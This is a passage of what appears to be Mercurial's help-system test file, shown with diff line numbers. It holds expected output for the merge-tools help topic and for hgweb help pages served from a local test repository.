2010 2012 > ambiguous = !
2011 2013 > EOF
2012 2014
2013 2015 Show help content of disabled extensions
2014 2016
2015 2017 $ cat >> $HGRCPATH <<EOF
2016 2018 > [extensions]
2017 2019 > ambiguous = !./ambiguous.py
2018 2020 > EOF
2019 2021 $ hg help -e ambiguous
2020 2022 ambiguous extension - (no help text available)
2021 2023
2022 2024 (use 'hg help extensions' for information on enabling extensions)
2023 2025
2024 2026 Test dynamic list of merge tools only shows up once
2025 2027 $ hg help merge-tools
2026 2028 Merge Tools
2027 2029 """""""""""
2028 2030
2029 2031 To merge files Mercurial uses merge tools.
2030 2032
2031 2033 A merge tool combines two different versions of a file into a merged file.
2032 2034 Merge tools are given the two files and the greatest common ancestor of
2033 2035 the two file versions, so they can determine the changes made on both
2034 2036 branches.
2035 2037
2036 2038 Merge tools are used both for 'hg resolve', 'hg merge', 'hg update', 'hg
2037 2039 backout' and in several extensions.
2038 2040
2039 2041 Usually, the merge tool tries to automatically reconcile the files by
2040 2042 combining all non-overlapping changes that occurred separately in the two
2041 2043 different evolutions of the same initial base file. Furthermore, some
2042 2044 interactive merge programs make it easier to manually resolve conflicting
2043 2045 merges, either in a graphical way, or by inserting some conflict markers.
2044 2046 Mercurial does not include any interactive merge programs but relies on
2045 2047 external tools for that.
2046 2048
2047 2049 Available merge tools
2048 2050 =====================
2049 2051
2050 2052 External merge tools and their properties are configured in the merge-
2051 2053 tools configuration section - see hgrc(5) - but they can often just be
2052 2054 named by their executable.
2053 2055
2054 2056 A merge tool is generally usable if its executable can be found on the
2055 2057 system and if it can handle the merge. The executable is found if it is an
2056 2058 absolute or relative executable path or the name of an application in the
2057 2059 executable search path. The tool is assumed to be able to handle the merge
2058 2060 if it can handle symlinks if the file is a symlink, if it can handle
2059 2061 binary files if the file is binary, and if a GUI is available if the tool
2060 2062 requires a GUI.
2061 2063
2062 2064 There are some internal merge tools which can be used. The internal merge
2063 2065 tools are:
2064 2066
2065 2067 ":dump"
2066 2068 Creates three versions of the files to merge, containing the contents of
2067 2069 local, other and base. These files can then be used to perform a merge
2068 2070 manually. If the file to be merged is named "a.txt", these files will
2069 2071 accordingly be named "a.txt.local", "a.txt.other" and "a.txt.base" and
2070 2072 they will be placed in the same directory as "a.txt".
2071 2073
2072 2074 This implies premerge. Therefore, files aren't dumped, if premerge runs
2073 2075 successfully. Use :forcedump to forcibly write files out.
2074 2076
2075 2077 (actual capabilities: binary, symlink)
2076 2078
2077 2079 ":fail"
2078 2080 Rather than attempting to merge files that were modified on both
2079 2081 branches, it marks them as unresolved. The resolve command must be used
2080 2082 to resolve these conflicts.
2081 2083
2082 2084 (actual capabilities: binary, symlink)
2083 2085
2084 2086 ":forcedump"
2085 2087 Creates three versions of the files as same as :dump, but omits
2086 2088 premerge.
2087 2089
2088 2090 (actual capabilities: binary, symlink)
2089 2091
2090 2092 ":local"
2091 2093 Uses the local 'p1()' version of files as the merged version.
2092 2094
2093 2095 (actual capabilities: binary, symlink)
2094 2096
2095 2097 ":merge"
2096 2098 Uses the internal non-interactive simple merge algorithm for merging
2097 2099 files. It will fail if there are any conflicts and leave markers in the
2098 2100 partially merged file. Markers will have two sections, one for each side
2099 2101 of merge.
2100 2102
2101 2103 ":merge-local"
2102 2104 Like :merge, but resolve all conflicts non-interactively in favor of the
2103 2105 local 'p1()' changes.
2104 2106
2105 2107 ":merge-other"
2106 2108 Like :merge, but resolve all conflicts non-interactively in favor of the
2107 2109 other 'p2()' changes.
2108 2110
2109 2111 ":merge3"
2110 2112 Uses the internal non-interactive simple merge algorithm for merging
2111 2113 files. It will fail if there are any conflicts and leave markers in the
2112 2114 partially merged file. Marker will have three sections, one from each
2113 2115 side of the merge and one for the base content.
2114 2116
2115 2117 ":mergediff"
2116 2118 Uses the internal non-interactive simple merge algorithm for merging
2117 2119 files. It will fail if there are any conflicts and leave markers in the
2118 2120 partially merged file. The marker will have two sections, one with the
2119 2121 content from one side of the merge, and one with a diff from the base
2120 2122 content to the content on the other side. (experimental)
2121 2123
2122 2124 ":other"
2123 2125 Uses the other 'p2()' version of files as the merged version.
2124 2126
2125 2127 (actual capabilities: binary, symlink)
2126 2128
2127 2129 ":prompt"
2128 2130 Asks the user which of the local 'p1()' or the other 'p2()' version to
2129 2131 keep as the merged version.
2130 2132
2131 2133 (actual capabilities: binary, symlink)
2132 2134
2133 2135 ":tagmerge"
2134 2136 Uses the internal tag merge algorithm (experimental).
2135 2137
2136 2138 ":union"
2137 2139 Uses the internal non-interactive simple merge algorithm for merging
2138 2140 files. It will use both left and right sides for conflict regions. No
2139 2141 markers are inserted.
2140 2142
2141 2143 Internal tools are always available and do not require a GUI but will by
2142 2144 default not handle symlinks or binary files. See next section for detail
2143 2145 about "actual capabilities" described above.
2144 2146
2145 2147 Choosing a merge tool
2146 2148 =====================
2147 2149
2148 2150 Mercurial uses these rules when deciding which merge tool to use:
2149 2151
2150 2152 1. If a tool has been specified with the --tool option to merge or
2151 2153 resolve, it is used. If it is the name of a tool in the merge-tools
2152 2154 configuration, its configuration is used. Otherwise the specified tool
2153 2155 must be executable by the shell.
2154 2156 2. If the "HGMERGE" environment variable is present, its value is used and
2155 2157 must be executable by the shell.
2156 2158 3. If the filename of the file to be merged matches any of the patterns in
2157 2159 the merge-patterns configuration section, the first usable merge tool
2158 2160 corresponding to a matching pattern is used.
2159 2161 4. If ui.merge is set it will be considered next. If the value is not the
2160 2162 name of a configured tool, the specified value is used and must be
2161 2163 executable by the shell. Otherwise the named tool is used if it is
2162 2164 usable.
2163 2165 5. If any usable merge tools are present in the merge-tools configuration
2164 2166 section, the one with the highest priority is used.
2165 2167 6. If a program named "hgmerge" can be found on the system, it is used -
2166 2168 but it will by default not be used for symlinks and binary files.
2167 2169 7. If the file to be merged is not binary and is not a symlink, then
2168 2170 internal ":merge" is used.
2169 2171 8. Otherwise, ":prompt" is used.
2170 2172
2171 2173 For historical reason, Mercurial treats merge tools as below while
2172 2174 examining rules above.
2173 2175
2174 2176 step specified via binary symlink
2175 2177 ----------------------------------
2176 2178 1. --tool o/o o/o
2177 2179 2. HGMERGE o/o o/o
2178 2180 3. merge-patterns o/o(*) x/?(*)
2179 2181 4. ui.merge x/?(*) x/?(*)
2180 2182
2181 2183 Each capability column indicates Mercurial behavior for internal/external
2182 2184 merge tools at examining each rule.
2183 2185
2184 2186 - "o": "assume that a tool has capability"
2185 2187 - "x": "assume that a tool does not have capability"
2186 2188 - "?": "check actual capability of a tool"
2187 2189
2188 2190 If "merge.strict-capability-check" configuration is true, Mercurial checks
2189 2191 capabilities of merge tools strictly in (*) cases above (= each capability
2190 2192 column becomes "?/?"). It is false by default for backward compatibility.
2191 2193
2192 2194 Note:
2193 2195 After selecting a merge program, Mercurial will by default attempt to
2194 2196 merge the files using a simple merge algorithm first. Only if it
2195 2197 doesn't succeed because of conflicting changes will Mercurial actually
2196 2198 execute the merge program. Whether to use the simple merge algorithm
2197 2199 first can be controlled by the premerge setting of the merge tool.
2198 2200 Premerge is enabled by default unless the file is binary or a symlink.
2199 2201
2200 2202 See the merge-tools and ui sections of hgrc(5) for details on the
2201 2203 configuration of merge tools.
2202 2204
2203 2205 Compression engines listed in `hg help bundlespec`
2204 2206
2205 2207 $ hg help bundlespec | grep gzip
2206 2208 "v1" bundles can only use the "gzip", "bzip2", and "none" compression
2207 2209 An algorithm that produces smaller bundles than "gzip".
2208 2210 This engine will likely produce smaller bundles than "gzip" but will be
2209 2211 "gzip"
2210 2212 better compression than "gzip". It also frequently yields better (?)
2211 2213
2212 2214 Test usage of section marks in help documents
2213 2215
2214 2216 $ cd "$TESTDIR"/../doc
2215 2217 $ "$PYTHON" check-seclevel.py
2216 2218 $ cd $TESTTMP
2217 2219
2218 2220 #if serve
2219 2221
2220 2222 Test the help pages in hgweb.
2221 2223
2222 2224 Dish up an empty repo; serve it cold.
2223 2225
2224 2226 $ hg init "$TESTTMP/test"
2225 2227 $ hg serve -R "$TESTTMP/test" -n test -p $HGPORT -d --pid-file=hg.pid
2226 2228 $ cat hg.pid >> $DAEMON_PIDS
2227 2229
2228 2230 $ get-with-headers.py $LOCALIP:$HGPORT "help"
2229 2231 200 Script output follows
2230 2232
2231 2233 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
2232 2234 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
2233 2235 <head>
2234 2236 <link rel="icon" href="/static/hgicon.png" type="image/png" />
2235 2237 <meta name="robots" content="index, nofollow" />
2236 2238 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
2237 2239 <script type="text/javascript" src="/static/mercurial.js"></script>
2238 2240
2239 2241 <title>Help: Index</title>
2240 2242 </head>
2241 2243 <body>
2242 2244
2243 2245 <div class="container">
2244 2246 <div class="menu">
2245 2247 <div class="logo">
2246 2248 <a href="https://mercurial-scm.org/">
2247 2249 <img src="/static/hglogo.png" alt="mercurial" /></a>
2248 2250 </div>
2249 2251 <ul>
2250 2252 <li><a href="/shortlog">log</a></li>
2251 2253 <li><a href="/graph">graph</a></li>
2252 2254 <li><a href="/tags">tags</a></li>
2253 2255 <li><a href="/bookmarks">bookmarks</a></li>
2254 2256 <li><a href="/branches">branches</a></li>
2255 2257 </ul>
2256 2258 <ul>
2257 2259 <li class="active">help</li>
2258 2260 </ul>
2259 2261 </div>
2260 2262
2261 2263 <div class="main">
2262 2264 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
2263 2265
2264 2266 <form class="search" action="/log">
2265 2267
2266 2268 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
2267 2269 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
2268 2270 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
2269 2271 </form>
2270 2272 <table class="bigtable">
2271 2273 <tr><td colspan="2"><h2><a name="topics" href="#topics">Topics</a></h2></td></tr>
2272 2274
2273 2275 <tr><td>
2274 2276 <a href="/help/bundlespec">
2275 2277 bundlespec
2276 2278 </a>
2277 2279 </td><td>
2278 2280 Bundle File Formats
2279 2281 </td></tr>
2280 2282 <tr><td>
2281 2283 <a href="/help/color">
2282 2284 color
2283 2285 </a>
2284 2286 </td><td>
2285 2287 Colorizing Outputs
2286 2288 </td></tr>
2287 2289 <tr><td>
2288 2290 <a href="/help/config">
2289 2291 config
2290 2292 </a>
2291 2293 </td><td>
2292 2294 Configuration Files
2293 2295 </td></tr>
2294 2296 <tr><td>
2295 2297 <a href="/help/dates">
2296 2298 dates
2297 2299 </a>
2298 2300 </td><td>
2299 2301 Date Formats
2300 2302 </td></tr>
2301 2303 <tr><td>
2302 2304 <a href="/help/deprecated">
2303 2305 deprecated
2304 2306 </a>
2305 2307 </td><td>
2306 2308 Deprecated Features
2307 2309 </td></tr>
2308 2310 <tr><td>
2309 2311 <a href="/help/diffs">
2310 2312 diffs
2311 2313 </a>
2312 2314 </td><td>
2313 2315 Diff Formats
2314 2316 </td></tr>
2315 2317 <tr><td>
2316 2318 <a href="/help/environment">
2317 2319 environment
2318 2320 </a>
2319 2321 </td><td>
2320 2322 Environment Variables
2321 2323 </td></tr>
2322 2324 <tr><td>
2323 2325 <a href="/help/evolution">
2324 2326 evolution
2325 2327 </a>
2326 2328 </td><td>
2327 2329 Safely rewriting history (EXPERIMENTAL)
2328 2330 </td></tr>
2329 2331 <tr><td>
2330 2332 <a href="/help/extensions">
2331 2333 extensions
2332 2334 </a>
2333 2335 </td><td>
2334 2336 Using Additional Features
2335 2337 </td></tr>
2336 2338 <tr><td>
2337 2339 <a href="/help/filesets">
2338 2340 filesets
2339 2341 </a>
2340 2342 </td><td>
2341 2343 Specifying File Sets
2342 2344 </td></tr>
2343 2345 <tr><td>
2344 2346 <a href="/help/flags">
2345 2347 flags
2346 2348 </a>
2347 2349 </td><td>
2348 2350 Command-line flags
2349 2351 </td></tr>
2350 2352 <tr><td>
2351 2353 <a href="/help/glossary">
2352 2354 glossary
2353 2355 </a>
2354 2356 </td><td>
2355 2357 Glossary
2356 2358 </td></tr>
2357 2359 <tr><td>
2358 2360 <a href="/help/hgignore">
2359 2361 hgignore
2360 2362 </a>
2361 2363 </td><td>
2362 2364 Syntax for Mercurial Ignore Files
2363 2365 </td></tr>
2364 2366 <tr><td>
2365 2367 <a href="/help/hgweb">
2366 2368 hgweb
2367 2369 </a>
2368 2370 </td><td>
2369 2371 Configuring hgweb
2370 2372 </td></tr>
2371 2373 <tr><td>
2372 2374 <a href="/help/internals">
2373 2375 internals
2374 2376 </a>
2375 2377 </td><td>
2376 2378 Technical implementation topics
2377 2379 </td></tr>
2378 2380 <tr><td>
2379 2381 <a href="/help/merge-tools">
2380 2382 merge-tools
2381 2383 </a>
2382 2384 </td><td>
2383 2385 Merge Tools
2384 2386 </td></tr>
2385 2387 <tr><td>
2386 2388 <a href="/help/pager">
2387 2389 pager
2388 2390 </a>
2389 2391 </td><td>
2390 2392 Pager Support
2391 2393 </td></tr>
2392 2394 <tr><td>
2393 2395 <a href="/help/patterns">
2394 2396 patterns
2395 2397 </a>
2396 2398 </td><td>
2397 2399 File Name Patterns
2398 2400 </td></tr>
2399 2401 <tr><td>
2400 2402 <a href="/help/phases">
2401 2403 phases
2402 2404 </a>
2403 2405 </td><td>
2404 2406 Working with Phases
2405 2407 </td></tr>
2406 2408 <tr><td>
2407 2409 <a href="/help/revisions">
2408 2410 revisions
2409 2411 </a>
2410 2412 </td><td>
2411 2413 Specifying Revisions
2412 2414 </td></tr>
2413 2415 <tr><td>
2414 2416 <a href="/help/scripting">
2415 2417 scripting
2416 2418 </a>
2417 2419 </td><td>
2418 2420 Using Mercurial from scripts and automation
2419 2421 </td></tr>
2420 2422 <tr><td>
2421 2423 <a href="/help/subrepos">
2422 2424 subrepos
2423 2425 </a>
2424 2426 </td><td>
2425 2427 Subrepositories
2426 2428 </td></tr>
2427 2429 <tr><td>
2428 2430 <a href="/help/templating">
2429 2431 templating
2430 2432 </a>
2431 2433 </td><td>
2432 2434 Template Usage
2433 2435 </td></tr>
2434 2436 <tr><td>
2435 2437 <a href="/help/urls">
2436 2438 urls
2437 2439 </a>
2438 2440 </td><td>
2439 2441 URL Paths
2440 2442 </td></tr>
2441 2443 <tr><td>
2442 2444 <a href="/help/topic-containing-verbose">
2443 2445 topic-containing-verbose
2444 2446 </a>
2445 2447 </td><td>
2446 2448 This is the topic to test omit indicating.
2447 2449 </td></tr>
2448 2450
2449 2451
2450 2452 <tr><td colspan="2"><h2><a name="main" href="#main">Main Commands</a></h2></td></tr>
2451 2453
2452 2454 <tr><td>
2453 2455 <a href="/help/abort">
2454 2456 abort
2455 2457 </a>
2456 2458 </td><td>
2457 2459 abort an unfinished operation (EXPERIMENTAL)
2458 2460 </td></tr>
2459 2461 <tr><td>
2460 2462 <a href="/help/add">
2461 2463 add
2462 2464 </a>
2463 2465 </td><td>
2464 2466 add the specified files on the next commit
2465 2467 </td></tr>
2466 2468 <tr><td>
2467 2469 <a href="/help/annotate">
2468 2470 annotate
2469 2471 </a>
2470 2472 </td><td>
2471 2473 show changeset information by line for each file
2472 2474 </td></tr>
2473 2475 <tr><td>
2474 2476 <a href="/help/clone">
2475 2477 clone
2476 2478 </a>
2477 2479 </td><td>
2478 2480 make a copy of an existing repository
2479 2481 </td></tr>
2480 2482 <tr><td>
2481 2483 <a href="/help/commit">
2482 2484 commit
2483 2485 </a>
2484 2486 </td><td>
2485 2487 commit the specified files or all outstanding changes
2486 2488 </td></tr>
2487 2489 <tr><td>
2488 2490 <a href="/help/continue">
2489 2491 continue
2490 2492 </a>
2491 2493 </td><td>
2492 2494 resumes an interrupted operation (EXPERIMENTAL)
2493 2495 </td></tr>
2494 2496 <tr><td>
2495 2497 <a href="/help/diff">
2496 2498 diff
2497 2499 </a>
2498 2500 </td><td>
2499 2501 diff repository (or selected files)
2500 2502 </td></tr>
2501 2503 <tr><td>
2502 2504 <a href="/help/export">
2503 2505 export
2504 2506 </a>
2505 2507 </td><td>
2506 2508 dump the header and diffs for one or more changesets
2507 2509 </td></tr>
2508 2510 <tr><td>
2509 2511 <a href="/help/forget">
2510 2512 forget
2511 2513 </a>
2512 2514 </td><td>
2513 2515 forget the specified files on the next commit
2514 2516 </td></tr>
2515 2517 <tr><td>
2516 2518 <a href="/help/init">
2517 2519 init
2518 2520 </a>
2519 2521 </td><td>
2520 2522 create a new repository in the given directory
2521 2523 </td></tr>
2522 2524 <tr><td>
2523 2525 <a href="/help/log">
2524 2526 log
2525 2527 </a>
2526 2528 </td><td>
2527 2529 show revision history of entire repository or files
2528 2530 </td></tr>
2529 2531 <tr><td>
2530 2532 <a href="/help/merge">
2531 2533 merge
2532 2534 </a>
2533 2535 </td><td>
2534 2536 merge another revision into working directory
2535 2537 </td></tr>
2536 2538 <tr><td>
2537 2539 <a href="/help/pull">
2538 2540 pull
2539 2541 </a>
2540 2542 </td><td>
2541 2543 pull changes from the specified source
2542 2544 </td></tr>
2543 2545 <tr><td>
2544 2546 <a href="/help/push">
2545 2547 push
2546 2548 </a>
2547 2549 </td><td>
2548 2550 push changes to the specified destination
2549 2551 </td></tr>
2550 2552 <tr><td>
2551 2553 <a href="/help/remove">
2552 2554 remove
2553 2555 </a>
2554 2556 </td><td>
2555 2557 remove the specified files on the next commit
2556 2558 </td></tr>
2557 2559 <tr><td>
2558 2560 <a href="/help/serve">
2559 2561 serve
2560 2562 </a>
2561 2563 </td><td>
2562 2564 start stand-alone webserver
2563 2565 </td></tr>
2564 2566 <tr><td>
2565 2567 <a href="/help/status">
2566 2568 status
2567 2569 </a>
2568 2570 </td><td>
2569 2571 show changed files in the working directory
2570 2572 </td></tr>
2571 2573 <tr><td>
2572 2574 <a href="/help/summary">
2573 2575 summary
2574 2576 </a>
2575 2577 </td><td>
2576 2578 summarize working directory state
2577 2579 </td></tr>
2578 2580 <tr><td>
2579 2581 <a href="/help/update">
2580 2582 update
2581 2583 </a>
2582 2584 </td><td>
2583 2585 update working directory (or switch revisions)
2584 2586 </td></tr>
2585 2587
2586 2588
2587 2589
2588 2590 <tr><td colspan="2"><h2><a name="other" href="#other">Other Commands</a></h2></td></tr>
2589 2591
2590 2592 <tr><td>
2591 2593 <a href="/help/addremove">
2592 2594 addremove
2593 2595 </a>
2594 2596 </td><td>
2595 2597 add all new files, delete all missing files
2596 2598 </td></tr>
2597 2599 <tr><td>
2598 2600 <a href="/help/archive">
2599 2601 archive
2600 2602 </a>
2601 2603 </td><td>
2602 2604 create an unversioned archive of a repository revision
2603 2605 </td></tr>
2604 2606 <tr><td>
2605 2607 <a href="/help/backout">
2606 2608 backout
2607 2609 </a>
2608 2610 </td><td>
2609 2611 reverse effect of earlier changeset
2610 2612 </td></tr>
2611 2613 <tr><td>
2612 2614 <a href="/help/bisect">
2613 2615 bisect
2614 2616 </a>
2615 2617 </td><td>
2616 2618 subdivision search of changesets
2617 2619 </td></tr>
2618 2620 <tr><td>
2619 2621 <a href="/help/bookmarks">
2620 2622 bookmarks
2621 2623 </a>
2622 2624 </td><td>
2623 2625 create a new bookmark or list existing bookmarks
2624 2626 </td></tr>
2625 2627 <tr><td>
2626 2628 <a href="/help/branch">
2627 2629 branch
2628 2630 </a>
2629 2631 </td><td>
2630 2632 set or show the current branch name
2631 2633 </td></tr>
2632 2634 <tr><td>
2633 2635 <a href="/help/branches">
2634 2636 branches
2635 2637 </a>
2636 2638 </td><td>
2637 2639 list repository named branches
2638 2640 </td></tr>
2639 2641 <tr><td>
2640 2642 <a href="/help/bundle">
2641 2643 bundle
2642 2644 </a>
2643 2645 </td><td>
2644 2646 create a bundle file
2645 2647 </td></tr>
2646 2648 <tr><td>
2647 2649 <a href="/help/cat">
2648 2650 cat
2649 2651 </a>
2650 2652 </td><td>
2651 2653 output the current or given revision of files
2652 2654 </td></tr>
2653 2655 <tr><td>
2654 2656 <a href="/help/config">
2655 2657 config
2656 2658 </a>
2657 2659 </td><td>
2658 2660 show combined config settings from all hgrc files
2659 2661 </td></tr>
2660 2662 <tr><td>
2661 2663 <a href="/help/copy">
2662 2664 copy
2663 2665 </a>
2664 2666 </td><td>
2665 2667 mark files as copied for the next commit
2666 2668 </td></tr>
2667 2669 <tr><td>
2668 2670 <a href="/help/files">
2669 2671 files
2670 2672 </a>
2671 2673 </td><td>
2672 2674 list tracked files
2673 2675 </td></tr>
2674 2676 <tr><td>
2675 2677 <a href="/help/graft">
2676 2678 graft
2677 2679 </a>
2678 2680 </td><td>
2679 2681 copy changes from other branches onto the current branch
2680 2682 </td></tr>
2681 2683 <tr><td>
2682 2684 <a href="/help/grep">
2683 2685 grep
2684 2686 </a>
2685 2687 </td><td>
2686 2688 search for a pattern in specified files
2687 2689 </td></tr>
2688 2690 <tr><td>
2689 2691 <a href="/help/hashelp">
2690 2692 hashelp
2691 2693 </a>
2692 2694 </td><td>
2693 2695 Extension command's help
2694 2696 </td></tr>
2695 2697 <tr><td>
2696 2698 <a href="/help/heads">
2697 2699 heads
2698 2700 </a>
2699 2701 </td><td>
2700 2702 show branch heads
2701 2703 </td></tr>
2702 2704 <tr><td>
2703 2705 <a href="/help/help">
2704 2706 help
2705 2707 </a>
2706 2708 </td><td>
2707 2709 show help for a given topic or a help overview
2708 2710 </td></tr>
2709 2711 <tr><td>
2710 2712 <a href="/help/hgalias">
2711 2713 hgalias
2712 2714 </a>
2713 2715 </td><td>
2714 2716 My doc
2715 2717 </td></tr>
2716 2718 <tr><td>
2717 2719 <a href="/help/hgaliasnodoc">
2718 2720 hgaliasnodoc
2719 2721 </a>
2720 2722 </td><td>
2721 2723 summarize working directory state
2722 2724 </td></tr>
2723 2725 <tr><td>
2724 2726 <a href="/help/identify">
2725 2727 identify
2726 2728 </a>
2727 2729 </td><td>
2728 2730 identify the working directory or specified revision
2729 2731 </td></tr>
2730 2732 <tr><td>
2731 2733 <a href="/help/import">
2732 2734 import
2733 2735 </a>
2734 2736 </td><td>
2735 2737 import an ordered set of patches
2736 2738 </td></tr>
2737 2739 <tr><td>
2738 2740 <a href="/help/incoming">
2739 2741 incoming
2740 2742 </a>
2741 2743 </td><td>
2742 2744 show new changesets found in source
2743 2745 </td></tr>
2744 2746 <tr><td>
2745 2747 <a href="/help/manifest">
2746 2748 manifest
2747 2749 </a>
2748 2750 </td><td>
2749 2751 output the current or given revision of the project manifest
2750 2752 </td></tr>
2751 2753 <tr><td>
2752 2754 <a href="/help/nohelp">
2753 2755 nohelp
2754 2756 </a>
2755 2757 </td><td>
2756 2758 (no help text available)
2757 2759 </td></tr>
2758 2760 <tr><td>
2759 2761 <a href="/help/outgoing">
2760 2762 outgoing
2761 2763 </a>
2762 2764 </td><td>
2763 2765 show changesets not found in the destination
2764 2766 </td></tr>
2765 2767 <tr><td>
2766 2768 <a href="/help/paths">
2767 2769 paths
2768 2770 </a>
2769 2771 </td><td>
2770 2772 show aliases for remote repositories
2771 2773 </td></tr>
2772 2774 <tr><td>
2773 2775 <a href="/help/phase">
2774 2776 phase
2775 2777 </a>
2776 2778 </td><td>
2777 2779 set or show the current phase name
2778 2780 </td></tr>
2779 2781 <tr><td>
2780 2782 <a href="/help/purge">
2781 2783 purge
2782 2784 </a>
2783 2785 </td><td>
2784 2786 removes files not tracked by Mercurial
2785 2787 </td></tr>
2786 2788 <tr><td>
2787 2789 <a href="/help/recover">
2788 2790 recover
2789 2791 </a>
2790 2792 </td><td>
2791 2793 roll back an interrupted transaction
2792 2794 </td></tr>
2793 2795 <tr><td>
2794 2796 <a href="/help/rename">
2795 2797 rename
2796 2798 </a>
2797 2799 </td><td>
2798 2800 rename files; equivalent of copy + remove
2799 2801 </td></tr>
2800 2802 <tr><td>
2801 2803 <a href="/help/resolve">
2802 2804 resolve
2803 2805 </a>
2804 2806 </td><td>
2805 2807 redo merges or set/view the merge status of files
2806 2808 </td></tr>
2807 2809 <tr><td>
2808 2810 <a href="/help/revert">
2809 2811 revert
2810 2812 </a>
2811 2813 </td><td>
2812 2814 restore files to their checkout state
2813 2815 </td></tr>
2814 2816 <tr><td>
2815 2817 <a href="/help/root">
2816 2818 root
2817 2819 </a>
2818 2820 </td><td>
2819 2821 print the root (top) of the current working directory
2820 2822 </td></tr>
2821 2823 <tr><td>
2822 2824 <a href="/help/shellalias">
2823 2825 shellalias
2824 2826 </a>
2825 2827 </td><td>
2826 2828 (no help text available)
2827 2829 </td></tr>
2828 2830 <tr><td>
2829 2831 <a href="/help/shelve">
2830 2832 shelve
2831 2833 </a>
2832 2834 </td><td>
2833 2835 save and set aside changes from the working directory
2834 2836 </td></tr>
2835 2837 <tr><td>
2836 2838 <a href="/help/tag">
2837 2839 tag
2838 2840 </a>
2839 2841 </td><td>
2840 2842 add one or more tags for the current or given revision
2841 2843 </td></tr>
2842 2844 <tr><td>
2843 2845 <a href="/help/tags">
2844 2846 tags
2845 2847 </a>
2846 2848 </td><td>
2847 2849 list repository tags
2848 2850 </td></tr>
2849 2851 <tr><td>
2850 2852 <a href="/help/unbundle">
2851 2853 unbundle
2852 2854 </a>
2853 2855 </td><td>
2854 2856 apply one or more bundle files
2855 2857 </td></tr>
2856 2858 <tr><td>
2857 2859 <a href="/help/unshelve">
2858 2860 unshelve
2859 2861 </a>
2860 2862 </td><td>
2861 2863 restore a shelved change to the working directory
2862 2864 </td></tr>
2863 2865 <tr><td>
2864 2866 <a href="/help/verify">
2865 2867 verify
2866 2868 </a>
2867 2869 </td><td>
2868 2870 verify the integrity of the repository
2869 2871 </td></tr>
2870 2872 <tr><td>
2871 2873 <a href="/help/version">
2872 2874 version
2873 2875 </a>
2874 2876 </td><td>
2875 2877 output version and copyright information
2876 2878 </td></tr>
2877 2879
2878 2880
2879 2881 </table>
2880 2882 </div>
2881 2883 </div>
2882 2884
2883 2885
2884 2886
2885 2887 </body>
2886 2888 </html>
2887 2889
2888 2890
2889 2891 $ get-with-headers.py $LOCALIP:$HGPORT "help/add"
2890 2892 200 Script output follows
2891 2893
2892 2894 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
2893 2895 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US">
2894 2896 <head>
2895 2897 <link rel="icon" href="/static/hgicon.png" type="image/png" />
2896 2898 <meta name="robots" content="index, nofollow" />
2897 2899 <link rel="stylesheet" href="/static/style-paper.css" type="text/css" />
2898 2900 <script type="text/javascript" src="/static/mercurial.js"></script>
2899 2901
2900 2902 <title>Help: add</title>
2901 2903 </head>
2902 2904 <body>
2903 2905
2904 2906 <div class="container">
2905 2907 <div class="menu">
2906 2908 <div class="logo">
2907 2909 <a href="https://mercurial-scm.org/">
2908 2910 <img src="/static/hglogo.png" alt="mercurial" /></a>
2909 2911 </div>
2910 2912 <ul>
2911 2913 <li><a href="/shortlog">log</a></li>
2912 2914 <li><a href="/graph">graph</a></li>
2913 2915 <li><a href="/tags">tags</a></li>
2914 2916 <li><a href="/bookmarks">bookmarks</a></li>
2915 2917 <li><a href="/branches">branches</a></li>
2916 2918 </ul>
2917 2919 <ul>
2918 2920 <li class="active"><a href="/help">help</a></li>
2919 2921 </ul>
2920 2922 </div>
2921 2923
2922 2924 <div class="main">
2923 2925 <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
2924 2926 <h3>Help: add</h3>
2925 2927
2926 2928 <form class="search" action="/log">
2927 2929
2928 2930 <p><input name="rev" id="search1" type="text" size="30" value="" /></p>
2929 2931 <div id="hint">Find changesets by keywords (author, files, the commit message), revision
2930 2932 number or hash, or <a href="/help/revsets">revset expression</a>.</div>
2931 2933 </form>
2932 2934 <div id="doc">
2933 2935 <p>
2934 2936 hg add [OPTION]... [FILE]...
2935 2937 </p>
2936 2938 <p>
2937 2939 add the specified files on the next commit
2938 2940 </p>
2939 2941 <p>
2940 2942 Schedule files to be version controlled and added to the
2941 2943 repository.
2942 2944 </p>
2943 2945 <p>
2944 2946 The files will be added to the repository at the next commit. To
2945 2947 undo an add before that, see 'hg forget'.
2946 2948 </p>
2947 2949 <p>
2948 2950 If no names are given, add all files to the repository (except
2949 2951 files matching &quot;.hgignore&quot;).
2950 2952 </p>
2951 2953 <p>
2952 2954 Examples:
2953 2955 </p>
2954 2956 <ul>
2955 2957 <li> New (unknown) files are added automatically by 'hg add':
2956 2958 <pre>
2957 2959 \$ ls (re)
2958 2960 foo.c
2959 2961 \$ hg status (re)
2960 2962 ? foo.c
2961 2963 \$ hg add (re)
2962 2964 adding foo.c
2963 2965 \$ hg status (re)
2964 2966 A foo.c
2965 2967 </pre>
2966 2968 <li> Specific files to be added can be specified:
2967 2969 <pre>
2968 2970 \$ ls (re)
2969 2971 bar.c foo.c
2970 2972 \$ hg status (re)
2971 2973 ? bar.c
2972 2974 ? foo.c
2973 2975 \$ hg add bar.c (re)
2974 2976 \$ hg status (re)
2975 2977 A bar.c
2976 2978 ? foo.c
2977 2979 </pre>
2978 2980 </ul>
2979 2981 <p>
2980 2982 Returns 0 if all files are successfully added.
2981 2983 </p>
2982 2984 <p>
2983 2985 options ([+] can be repeated):
2984 2986 </p>
2985 2987 <table>
2986 2988 <tr><td>-I</td>
2987 2989 <td>--include PATTERN [+]</td>
2988 2990 <td>include names matching the given patterns</td></tr>
2989 2991 <tr><td>-X</td>
2990 2992 <td>--exclude PATTERN [+]</td>
2991 2993 <td>exclude names matching the given patterns</td></tr>
2992 2994 <tr><td>-S</td>
2993 2995 <td>--subrepos</td>
2994 2996 <td>recurse into subrepositories</td></tr>
2995 2997 <tr><td>-n</td>
2996 2998 <td>--dry-run</td>
2997 2999 <td>do not perform actions, just print output</td></tr>
2998 3000 </table>
2999 3001 <p>
3000 3002 global options ([+] can be repeated):
